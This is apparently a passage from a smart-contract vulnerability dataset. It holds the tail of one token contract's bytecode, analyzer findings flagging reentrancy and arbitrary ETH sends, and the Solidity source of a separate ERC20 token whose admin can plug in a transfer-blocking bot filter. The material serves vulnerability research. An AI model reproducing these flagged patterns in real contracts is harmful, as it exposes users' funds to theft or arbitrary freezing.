d5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6005600a81905550600a600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576005600a81905550600a600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122050ed58aede575e7751c5eb95cf07e026c2f384d1e8bb7d95f9ade9d95ba2659864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,639 |
0x813ee1bb1210806844270cf0715512de64540bff
|
/**
*Submitted for verification at Etherscan.io on 2021-09-22
*/
// SPDX-License-Identifier: MIT
pragma solidity =0.8.4;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
interface IBotProtector {
function isPotentialBotTransfer(address from, address to) external returns (bool);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
/**
* @dev Implementation of the {IERC20} interface.
*/
contract ProtectedErc20 is Context, Initializable, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 public _maxTotalSupply;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address public _admin;
address public _botProtector;
/**
* @dev This contract is supposed to be used as logic implementation that will be pointed to by
* minimal proxy contract. {initialize} function sets all of the initial state for the contract.
*
* Sets the values for {name}, {symbol} and {decimals}.
*/
function initialize(
string calldata name_,
string calldata symbol_,
uint8 decimals_,
uint256 maxTotalSupply_,
address recipient_) external initializer {
require(maxTotalSupply_ > 0, "zero max total supply");
_admin = _msgSender();
_maxTotalSupply = maxTotalSupply_;
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
if (recipient_ != address(0)) {
_mint(recipient_, maxTotalSupply_);
}
}
/**
* @dev Returns the name of the token.
*/
function name() external view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() external view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() external view virtual override returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() external view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) external view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) external view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
modifier onlyAdmin() {
require(_admin == _msgSender(), "auth failed");
_;
}
function setAdmin(address newAdmin) onlyAdmin external {
_admin = newAdmin;
}
function mint(address to) onlyAdmin external {
require(_totalSupply == 0, "already minted");
_mint(to, _maxTotalSupply);
}
function setBotProtector(address botProtector) onlyAdmin external {
_botProtector = botProtector;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (_botProtector != address(0)) {
require(!IBotProtector(_botProtector).isPotentialBotTransfer(sender, recipient), "Bot transaction debounced");
}
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) private {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
